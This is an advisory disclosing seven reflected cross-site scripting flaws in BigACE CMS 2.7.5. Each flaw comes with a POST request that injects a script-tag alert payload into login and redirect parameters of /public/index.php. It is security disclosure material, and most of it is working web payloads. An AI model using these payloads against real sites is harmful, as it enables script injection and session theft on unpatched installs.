BigACE CMS 2.7.5 Cross Site Scripting

`Title: BigACE CMS - XSS Vulnerabilities  
  
Software : BigACE CMS  
  
Software Version : 2.7.5  
  
Vendor: http://www.bigace.de/   
  
Vulnerability Published : 2011-10-11  
  
Vulnerability Update Time :  
  
Status :   
  
Impact : Medium  
  
Bug Description :  
BigACE Content Management System(version update : 2.7.5) is vulnerable to XSS.  
  
Proof Of Concept :  
1)language in /public/index.php , PoC:  
POST http://192.168.10.211/public/index.php?cmd=application&id=-1_tauth_klogin_lde&PHPSESSID=ira7g0kjtlp6otttru0s78khk7  
------------------------------------  
UID=1&language="><SCRIPT>alert("demonalex");</SCRIPT>  
  
2)UID in /public/index.php , PoC:  
POST http://192.168.10.211/public/index.php?cmd=application&id=-1_tauth_klogin_lde&PHPSESSID=ira7g0kjtlp6otttru0s78khk7  
------------------------------------  
UID=1&language=de&UID="><SCRIPT>alert("demonalex");</SCRIPT>&language=de  
  
3)REDIRECT_CMD in /public/index.php , PoC:  
POST http://192.168.10.211/public/index.php?cmd=application&id=-1_tauth_klogin_len  
------------------------------------  
REDIRECT_ID=-1&REDIRECT_CMD="><SCRIPT>alert("demonalex");</SCRIPT>&UID=1&language=de&UID=1&language=de  
  
4)REDIRECT_ID in /public/index.php , PoC:  
POST http://192.168.10.211/public/index.php?cmd=application&id=-1_tauth_klogin_len  
------------------------------------  
REDIRECT_ID="><SCRIPT>alert("demonalex");</SCRIPT>&REDIRECT_CMD=admin&UID=1&language=de&UID=1&language=de  
  
5)PW in /public/index.php , PoC:  
POST http://192.168.10.211/public/index.php?cmd=application&id=-1_tauth_klogin_len  
------------------------------------  
UID=admin&PW="><SCRIPT>alert("demonalex");</SCRIPT>&language=en  
  
6)UID in /public/index.php , PoC:  
POST http://192.168.10.211/public/index.php?cmd=application&id=-1_tauth_klogin_len  
------------------------------------  
UID="><SCRIPT>alert("demonalex");</SCRIPT>&PW=123456&language=en  
  
7)username in /public/index.php , PoC:  
POST http://192.168.10.211/public/index.php?cmd=application&id=-1_tauth_kpassword_len  
------------------------------------  
password=do&username="><SCRIPT>alert("demonalex");</SCRIPT>  
  
Credits : This vulnerability was discovered by demonalex(at)163(dot)com  
mail: demonalex(at)163(dot)com / [email protected]  
Pentester/Researcher  
Dark2S Security Team/PolyU.HK  
`